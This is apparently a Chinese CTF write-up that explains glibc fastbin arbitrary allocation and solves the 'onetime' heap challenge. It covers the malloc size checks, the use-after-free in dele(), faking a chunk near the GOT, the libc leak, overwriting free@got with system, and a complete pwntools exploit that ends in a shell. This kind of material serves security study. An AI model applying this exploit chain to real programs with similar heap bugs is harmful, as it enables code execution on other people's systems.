0x10 前言
Arbitrary Alloc技术的本质是劫持fastbin的fd指针,使其指向fake chunk,只要分配的chunk size域合法,攻击者可以分配该chunk到任意地址,实际效果相当于任意地址写
利用前提:存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞
0x20 检查
以下是glibc2.27版本的检查
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
(unsigned int) (sz)
强转为无符号整型,(SIZE_SZ == 8 ? 4 : 3)
如果为64位右移4位,否则右移3位
以sz为0x2f,64位系统为例,右移4位为2,-2后为fastbins索引0
值得注意的是_int_malloc会对分配的size域进行验证,不符则抛出异常
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0)) #检查1:malloc的free chunk大小是否在fastbin链范围内
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb); #检查2:free chunk的PREV_INUSE位是否为1
检查1:检测你要malloc的free chunk的大小是否在该chunk所在的fastbin链的大小尺寸范围(例如:一个fastbin链所存储的chunk大小必须在0x30-0x40之间,但是你要申请的这free chunk却是0x50,那么就会程序就报错退出)。
检查2:检测你这个free chunk的size成员的PREV_INUSE为是否为1,为1才可以通过检测。
所以构造例如0x70的fastbin,fake_size在[0x70,0x7f]
区间都能满足第一个size检查
0x30 题目
下面,我们通过长城杯的一道题目来了解
checksec onetime
检查下程序的保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
ida反编译,main函数是一个菜单
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("Welcome to one-time pad!");
while ( 1 )
{
menu();
memset(s, 0, sizeof(s));
read(0, s, 4uLL);
switch ( atoi(s) )
{
case 1:
if ( has1 == 1 )
{
puts("you have done it before");
exit(0);
}
new();
break;
case 2:
if ( has2 == 1 )
{
puts("you have done it before");
exit(0);
}
input();
break;
case 3:
if ( has3 == 1 )
{
puts("you have done it before");
exit(0);
}
output();
break;
case 4:
if ( has4 == 1 )
{
puts("you have done it before");
exit(0);
}
dele();
break;
case 5:
if ( has5 == 1 )
{
puts("you have done it before");
exit(0);
}
func5();
break;
default:
puts("option wrong!");
exit(1);
}
}
}
漏洞点是在dele函数,调用free后不置空指针
int dele()
{
int result; // eax
free(p);
result = puts("complete!");
has1 = 0;
has4 = 1;
return result;
}
这里我们存在uaf可以利用
一般来说存在uaf我们可以用fastbin double free来打,但是这道题限制了free操作只能进行一次,即free(p)
后has4 = 1
,如果再进入这个函数就会退出。有这个条件限制,我们就无法构造double free,只能另辟蹊径。
指针p储存在bss段
在input函数中,我们注意到可以往p
所指向的地址写入数据,并且没有对p指针做检查,所以我们可以对fastbin chunk进行写入操作。这时,可以人为构造一个fd指针,使其指向我们想要分配的地址,实现任意地址分配
int input()
{
int result; // eax
printf("fill content:");
read(0, p, 0x40uLL);
result = puts("complete!");
has2 = 1;
return result;
}
new函数
int new()
{
int result; // eax
p = malloc(0x60uLL);
result = puts("complete!");
has1 = 1;
return result;
}
func5函数
__int64 func5()
{
printf("Hero! Leave your name:");
p = malloc(0x60uLL);
read(0, p, 0x60uLL);
return (unsigned int)++has5;
}
我们的初步思路是:
- malloc(0x60)并将指针赋值给p
- free(p)并将has1置0
- 伪造fd指针
伪造fd指针时,为通过检查,size域的大小应在[0x70,0x7f]。
我们知道,因为got表的延时绑定机制,完成延时绑定的函数got表指向的是glibc地址,glibc地址最高字节是0x7f
gdb调试,查找可以用来伪造size域的地址
我们可选用0x60207d
地址作为fake_fd
第二次malloc时,glibc会将fake_chunk(0x60207d)
分配回来,然后通过程序
- 将指针p修改为
0x602010(free_got-8)
,将has2,has4的值置非1 - 泄露libc地址,获得system在libc中地址
- 将
0x602010(free_got-8)
指向的地址修改为/bin/sh\x00
,将free_got
修改为system - 调用free函数完成攻击
exp:
from pwn import *
context(log_level = 'debug',arch = 'amd64')
p = process('./onetime')
libc = ELF('/home/tr0upe/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6')
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
def create():
sla(b'your choice >>\n', b'1')
def fill(content):
sla(b'your choice >>\n', b'2')
sa(b'fill content:',content)
def show():
sla(b'your choice >>\n', b'3')
def dele():
sla(b'your choice >>\n', b'4')
fake_chunk = 0x60207d
got = 0x602010
payload = b'a' * 0x1b + p64(got) + b'a' * 0x10
offset = libc.symbols['free']
#伪造free_chunk
create()
dele()
fill(p64(fake_chunk))
#free_got-8覆盖指针p,has2,has4置为非1
create()
sla(b'your choice >>\n', b'5')
sa(b'Hero! Leave your name:',payload)
show()
p.recvuntil(b'data:')
libcbase = u64(p.recv(6).ljust(8, b'\x00')) - offset - (0x00007f9aa8a866a0 - 0x00007f9aa8729a70)
log.success('libcbase => ' + hex(libcbase))
sys = libc.symbols['system'] + libcbase
#gdb.attach(p)
#pause()
so = b'/bin/sh\x00' + p64(sys)
fill(so)
dele()
p.interactive()
0x40 引用
-
onetime.zip 下载
没有评论